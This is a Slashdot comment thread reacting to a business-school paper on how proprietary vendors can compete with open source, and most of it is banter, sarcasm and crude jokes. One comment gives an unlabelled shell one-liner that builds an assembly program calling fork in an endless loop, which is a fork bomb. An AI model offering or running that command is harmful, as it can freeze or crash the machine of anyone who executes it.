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Stanford Teaching MBAs How To Fight Open Source
mjasay writes "As if the proprietary software world needed any help, two business professors from Harvard and Stanford have combined to publish 'Divide and Conquer: Competing with Free Technology Under Network Effects,' a research paper dedicated to helping business executives fight the onslaught of open source software. The professors advise 'the commercial vendor ... to bring its product to market first, to judiciously improve its product features, to keep its product "closed" so the open source product cannot tap into the network already built by the commercial product, and to segment the market so it can take advantage of a divide-and-conquer strategy.' The professors also suggest that 'embrace and extend' is a great model for when the open source product gets to market first. Glad to see that $48,921 that Stanford MBAs pay being put to good use. Having said that, such research is perhaps a great, market-driven indication that open source is having a serious effect on proprietary technology vendors."
What happened to all open source software is crap arguments?
Surely companies likes Microsoft were not jesting!
Change is certain; progress is not obligatory.
They should have left their research closed. Now anyone can take their research, reverse engineer it, and repackage it under a Creating Commons license.
There was a paper in nature recently titled "Improve your jihad: nuclear weapons" as part of their weekly jihad improvement segment.
Control is an illusion, order our comforting lie. From chaos, through chaos, into chaos we fly
There's a reason Macs outsell Linux.
http://rocknerd.co.uk
Google says: No results found for "Improve your jihad: nuclear weapons".
GASP! They nuked the article! CENSORSHIP!
Yes, because a few million Mac desktops vastly outnumbers hundreds of millions of Linux embedded devices, servers, desktops and virtual appliances.
Sam ty sig.
What makes me laugh is that there is such an "Us Vs Them" tone in all of it.
Right. And the discussion below won't have a similar tone... :)
What makes me laugh is that there is such an "Us Vs Them" tone in all of it. It's like the nice business people think that all the open source guys are just waiting to kill their babies!
Wait, thats not our ultimate goal? I dedicated my life to a lie!
Liberte, Egalite, Fraternite (TM)
It's like the nice business people think that all the open source guys are just waiting to kill their babies! I mean settle down.
I agree, they really have nothing to worry about in this regard. The open source baby killing project is not even in beta yet, and there are compatibility and dependency issues that will keep it out of the linux kernel for quite some time. The closed-source world, especially Microsoft, is years ahead of OSS when it comes to infant termination software. But if there's anyone out there in slashdot-land who would like to lend a hand please grab the sources from freshmeat and pitch in!
You see, this is clearly a calculated move in the epic power struggle otherwise known as the Cal/Stanford rivalry. Do you really think it's a coincidence that the world's leading institution in the field of hating Stanford also happens to be the 'B' in BSD? You can soon expect a ferocious counterattack of Unix hacking, liberal politics, and lateral passes.
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93rd rule of Slashdot: No matter how obvious my sarcasm is, my comment will be taken seriously by someone.
I always wondered why they called it that...
Well, they *have* been known to kill their wives. :-(
I.e business types.
All your base are belong to Wii.
The closed-source world, especially Microsoft, is years ahead of OSS when it comes to infant termination software
Well... my copy just failed with a Vaginal Ring of Death... I demand a 3 year warranty and diapers for my newborn...
Cheers!
Atheist: Buddhist in a Prius
No, idiot, you're not supposed to kill the babies. After you kill the bastards, you kidnap their babies and raise them to your ideals.
Circumcision is child abuse.
Quite the opposite! It's them vs. us.
http://www.rootstrikers.org/
- Are extroverted. Make an effort to show themselves as friendly to people in general.
Kill them. Kill them with fire.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Glad I never got one of those fancy degree's, they obviously do not teach spelling or grammar.
Perhaps Mexican universities don't teach IT classes in English. Looking at many of the posts on /. US universities don't teach English well either.
Falcon
Should there be a Law?